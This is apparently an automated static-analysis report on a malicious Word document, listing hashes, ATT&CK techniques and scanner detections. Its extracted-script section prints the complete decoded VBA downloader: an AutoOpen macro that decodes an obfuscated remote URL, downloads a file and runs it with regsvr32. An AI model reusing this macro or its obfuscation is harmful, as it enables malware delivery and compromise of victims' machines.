Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a9b774a7e0e21802…

MALICIOUS

Office (OOXML)

116.3 KB Created: 2020-06-10 09:27:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: 4f8c706f51edca51d921b1386e3e5d32 SHA-1: 8ad46671ea5be0b5b00970a4b52559d2572c5fa9 SHA-256: a9b774a7e0e218027b11f4da27ba87661374279f1a48c461be832459f6e3a9b5
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Office document containing VBA macros, specifically an AutoOpen subroutine. This subroutine utilizes the URLDownloadToFile function, indicating an intent to download and execute a second-stage payload from a remote source. The presence of the AutoOpen macro and the use of URLDownloadToFile strongly suggest a downloader or droppper malware.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox6-9139694-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox6-9139694-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "H"
Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4379 bytes
SHA-256: 8362bf19d39f7c74391889177e251edcc0ef27a9fb0f2a7981e4122ac9197ae0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "H"
Sub AutoOpen()

' Baffle wagon befit iambic easter truck
' Roy observed
' Apostrophe banana nam relapse caucasus
' Retail last disclosure
Dim t8 As New QS

' Ap prophet hie diablo
' Withstood apart plowing tales
t8.s qF(0), qF(1)

' Miguel dish assault topaz dodge skill unblemished
' Barbados answered
' Dispel morrison grams think incompetent bumper
' Smith testament invitations busted disclaimed nutten
' Mohammedan
' Users trumpery
' Septuagint effeminate bass shambles shed
Dim u4 As New X

' Playing
' Booth schema gut
' Balloon manuals

' Pico deer blah elk ultimately cod

' Insides hulk introductory axiom
' Piano pedal money cos fixes
' Ant evaporate far laudable anglo-indian

' Time-honoured weal joyce egotism coastal
' Fioricet benny drum infidelity
' Gig
' Tmp
' Usr guatemala swarthy imperial squash
u4.TU "regsvr" & 32 & " " & qF(1)
End Sub

Attribute VB_Name = "QS"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
#If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As LongPtr, _
ByVal lpfnCB As LongPtr _
) As Long
#Else
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long _
) As Long
#End If
Private Sub Class_Initialize()

' Initiated inopportune flickr
' Storage jake divx pills tripod
' Agonising jogging boats dublin woodwork
' Ignore
' Sharp propound bb commuted cuba marvel
End Sub
Private Sub Class_Terminate()

' Planned gordon
' Zoom critically gray aim
End Sub
Public Sub s(Ew, yS)

' Phase epidermis recitation upc
' Luis promising designate electoral

' Boatswain vast silky decade lesson
' Capitulation whirlpool
' Petroleum winder wanna
' Transfers suppliers
' Beginning fleece tc
URLDownloadToFile 0, Ew, yS, 0, 0
End Sub

Attribute VB_Name = "X"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function TU(hS)

' Afghanistan dispirited
' Gpl
' Motorola
Dim s7 As New WshShell
s7.exec hS
End Function
Function I(LK)
    
' Breviary endorsement seconds pugnacious communist phillips culprit
' Interact shoes telecommunications
' Rectangular dipper judaism jeremy
' Bridge acute processor
' Clinics glinting decorative
' Gaps loading deals widely fracture

' Paralysis jonathan indisputable quince
' Secondary marble supported
' Chronicle forthcoming heinz lloyd
End Function

Attribute VB_Name = "H1"
Public Const Mj As String = "$$$"
Public Const T As String = "###"
Function qF(ER)

' Jews lashing billow sans
' Curry feasibility viruses
' Certitude urge sucks
' Et
Dim ar1(10)
ar1(0) = "h###t###t###p###:###/###/###0###"
ar1(1) = "0###o###t###g###1###8###i###x###"
ar1(2) = "k###6###o###8###k###o###w###s###"
ar1(3) = ".###c###o###m###/###h###d###i###"
ar1(4) = "l###/###k###z###e###x###.###p###"
ar1(5) = "h###p###?###l###=###p###h###i###"
ar1(6) = "n###9###.###c###a###b###$###$###"
ar1(7) = "$###c###:###\###p###r###o###g###"
ar1(8) = "r###a###m###d###a###t###a###\###"
ar1(9) = "7###8###7###5###9###6###6###7###"
ar1(10) = ".###d###a###t###"

' Disintegration
' Bramble pore trigger
' Dank maudlin
If ER = 0 Then
Kc = Replace(Join(ar1, ""), T, vbNullString)
SN = Split(Kc, Mj)
qF = SN(0)

ElseIf ER = 1 Then
Kc = Replace(Join(ar1, ""), T, vbNullString)
SN = Split(Kc, Mj)
qF = SN(1)
End If
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26112 bytes
SHA-256: 75ed5db602d21a70ce141207ebe6ffdcfb3dc1e320ad6c04ab3f4f9a1f212dcc

Open this report in the interactive analyzer, or submit your own file for analysis.